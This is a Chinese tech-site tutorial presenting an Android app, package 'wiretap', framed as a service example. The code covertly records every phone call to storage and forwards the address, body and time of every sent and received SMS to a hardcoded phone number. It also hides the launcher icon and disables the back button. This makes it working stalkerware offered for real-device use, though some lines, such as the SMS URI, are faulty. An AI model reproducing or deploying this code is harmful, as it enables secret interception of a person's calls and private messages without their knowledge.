关闭 x
IT技术网
    技 采 号
    ITJS.cn - 技术改变世界
    • 实用工具
    • 菜鸟教程
    IT采购网 中国存储网 科技号 CIO智库

    IT技术网

    IT采购网
    • 首页
    • 行业资讯
    • 系统运维
      • 操作系统
        • Windows
        • Linux
        • Mac OS
      • 数据库
        • MySQL
        • Oracle
        • SQL Server
      • 网站建设
    • 人工智能
    • 半导体芯片
    • 笔记本电脑
    • 智能手机
    • 智能汽车
    • 编程语言
    IT技术网 - ITJS.CN
    首页 » 安卓开发 »Android Service 服务的应用之电话监听器以及短信监听器

    Android Service 服务的应用之电话监听器以及短信监听器

    2015-07-19 00:00:00 出处:开发技术前线
    分享

    首先建立一个项目工程文件,如下图所示:

    首先在MainActivity.java文件启动电话和短信的界面,代码如下

    package com.xunfang.wiretap;
    
    import com.xunfang.observer.MyObserver;
    import com.xunfang.services.PhoneService;
    
    import android.support.v7.app.ActionBarActivity;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;
    import android.os.Handler;
    import android.view.Menu;
    import android.view.MenuItem;
    
    public class MainActivity extends ActionBarActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            //电话
            setContentView(R.layout.activity_main);
            Intent intent = new Intent(this,PhoneService.class);
            startService(intent);
            //短信
            Uri uri = Uri.parse("conten://sms");
            getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));
    
        }
        @Override
        public void onBackPressed() {
        }
    }

    然后进入电话管理服务界面PhoeService.java界面。代码如下

    package com.xunfang.phoneservice;
    
    import java.io.IOException;
    
    import android.app.Service;
    import android.content.Intent;
    import android.media.MediaRecorder;
    import android.os.IBinder;
    import android.telephony.PhoneStateListener;
    import android.telephony.TelephonyManager;
    
    public class PhoneService extends Service {
    
        // 管理电话
        private TelephonyManager tm;
    
        private MyListener listener;
    
        // 创建一个收音机
        private MediaRecorder mr;
    
        @Override
        public IBinder onBind(Intent intent) {
            return null;
        }
    
        @Override
        public void onCreate() {
            super.onCreate();
            // 实例化
            tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
    
            // 监听电话的状态
            listener = new MyListener();
            // 注册监听者,监听电话的状态
            tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        }
    
        private class MyListener extends PhoneStateListener {
            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                super.onCallStateChanged(state, incomingNumber);
    
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 空闲状态
                    System.out.println("电话空闲");
                    if (mr != null) {
                        // 说明录音机停止录音了
                        mr.stop();
                        mr.release();
                        mr = null;
                    }
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)
                    System.out.println("通话状态");
                    // 1.创建一个收音机
                    mr = new MediaRecorder();
                    // 2.设置音源
                    mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
                    // 3.设置录制音频的格式
                    mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    // 4设置音频的采样率
                    mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    // 5.设置录制的文件放置的位置
                    mr.setOutputFile("/mnt/sdcard/xxx.avi");
                    // 6.准备录制
                    try {
                        mr.prepare();
                    } catch( Exception e) {
                        e.printStackTrace();
                    }
                    // 7.开始录制
                    mr.start();
    
                    break;
                case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
                    System.out.println("响铃状态");
                    break;
                }
            }
        }
    
    }

    然后进入管理短信服务界面MyObserver.java,代码如下所示

    package com.xunfang.observer;
    
    import java.text.SimpleDateFormat;
    import java.util.Date;
    
    import android.content.ContentResolver;
    import android.content.Context;
    import android.database.ContentObserver;
    import android.database.Cursor;
    import android.net.Uri;
    import android.os.Handler;
    import android.telephony.SmsManager;
    
    public class MyObserver extends ContentObserver {
        private Context context;
        public MyObserver(Context context,Handler handler) {
            super(handler);
            this.context = context;
        }
    
        @Override
         public void onChange(boolean selfChange, Uri uri) {
            ContentResolver resolver = context.getContentResolver();
            Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
            cursor.moveToFirst();
            String address = cursor.getString(0);
            String body = cursor.getString(1);
            int type = cursor.getInt(2);
            long date = cursor.getLong(3);
            //将日期格式化,按这个模式输出日期
            String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
            //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
            if(type ==2 ){
                String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
                String phone = "18883278692";  //这个电话号码是你要将这个信息发送到哪个人的电话号码
                //拿到默认短信管理器
                SmsManager sm = SmsManager.getDefault();
                //发送短信
                sm.sendTextMessage(phone, null, sms, null, null) ;
                System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
            }
            if(type == 1){
                String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
                String phone = "18883278692";      //这个电话号码是你要将这个信息发送到哪个人的电话号码
                SmsManager sm = SmsManager.getDefault();
                sm.sendTextMessage(phone, null, sms, null, null) ;
                System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
            }
         }
    
    }

    代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

    < xml version="1.0" encoding="utf-8" >
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.xunfang.wiretap"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk
            android:minSdkVersion="8"
            android:targetSdkVersion="21" />
        <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
        <uses-permission android:name="android.permission.RECORD_AUDIO"/>
        <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
        <uses-permission android:name="android.permission.INTERNET"/>
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
        <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
        <uses-permission android:name="android.permission.WRITE_SMS"/>
        <uses-permission android:name="android.permission.READ_SMS"/>
        <uses-permission android:name="android.permission.SEND_SMS"/>
    
        <application
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
           <!--  <activity
                android:name=".MainActivity"
                android:label="@string/app_name" >
                <intent-filter>
                    <action android:name="android.intent.action.MAIN" />
    
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity> -->
            <service 
                android:name="com.xunfang.services.PhoneService"></service>
             <receiver 
                android:name="com.xunfang.broadrecevice.MyBroadReceiver"
                >
                <intent-filter >
                    <action 
                        android:name="android.intent.action.NEW_OUTGOING_CALL"
                        />
                </intent-filter>
            </receiver>
        </application>
    
    </manifest>

    到这里已经全部配置完成,可以用真实机进行测试。

    上一篇返回首页 下一篇

    声明: 此文观点不代表本站立场;转载务必保留本文链接;版权疑问请联系我们。

    别人在看

    hiberfil.sys文件可以删除吗?了解该文件并手把手教你删除C盘的hiberfil.sys文件

    Window 10和 Windows 11哪个好?答案是:看你自己的需求

    盗版软件成公司里的“隐形炸弹”?老板们的“法务噩梦” 有救了!

    帝国CMS7.5编辑器上传图片取消宽高的三种方法

    帝国cms如何自动生成缩略图的实现方法

    Windows 12即将到来,将彻底改变人机交互

    帝国CMS 7.5忘记登陆账号密码怎么办?可以phpmyadmin中重置管理员密码

    帝国CMS 7.5 后台编辑器换行,修改回车键br换行为p标签

    Windows 11 版本与 Windows 10比较,新功能一览

    Windows 11激活产品密钥收集及专业版激活方法

    IT头条

    智能手机市场风云:iPhone领跑销量榜,华为缺席引争议

    15:43

    大数据算法和“老师傅”经验叠加 智慧化收储粮食尽显“科技范”

    15:17

    严重缩水!NVIDIA将推中国特供RTX 5090 DD:只剩24GB显存

    00:17

    无线路由大厂 TP-Link突然大裁员:补偿N+3

    02:39

    Meta 千万美金招募AI高级人才

    00:22

    技术热点

    windows 7系统中下载保存文件时不显示桌面选项的解决方法图解

    一起来说 Vim 语

    MySQL DriverCS来连接MySQL的代码示例

    windows 7系统下触控笔连按数位板出现水波纹该怎么解决?

    windows 7系统的电脑发出嘟嘟嘟的声音该怎么解决?

    MySQL访问限制的实际设置的2种方法

      友情链接:
    • IT采购网
    • 科技号
    • 中国存储网
    • 存储网
    • 半导体联盟
    • 医疗软件网
    • 软件中国
    • ITbrand
    • 采购中国
    • CIO智库
    • 考研题库
    • 法务网
    • AI工具网
    • 电子芯片网
    • 安全库
    • 隐私保护
    • 版权申明
    • 联系我们
    IT技术网 版权所有 © 2020-2025,京ICP备14047533号-20,Power by OK设计网

    在上方输入关键词后,回车键 开始搜索。Esc键 取消该搜索窗口。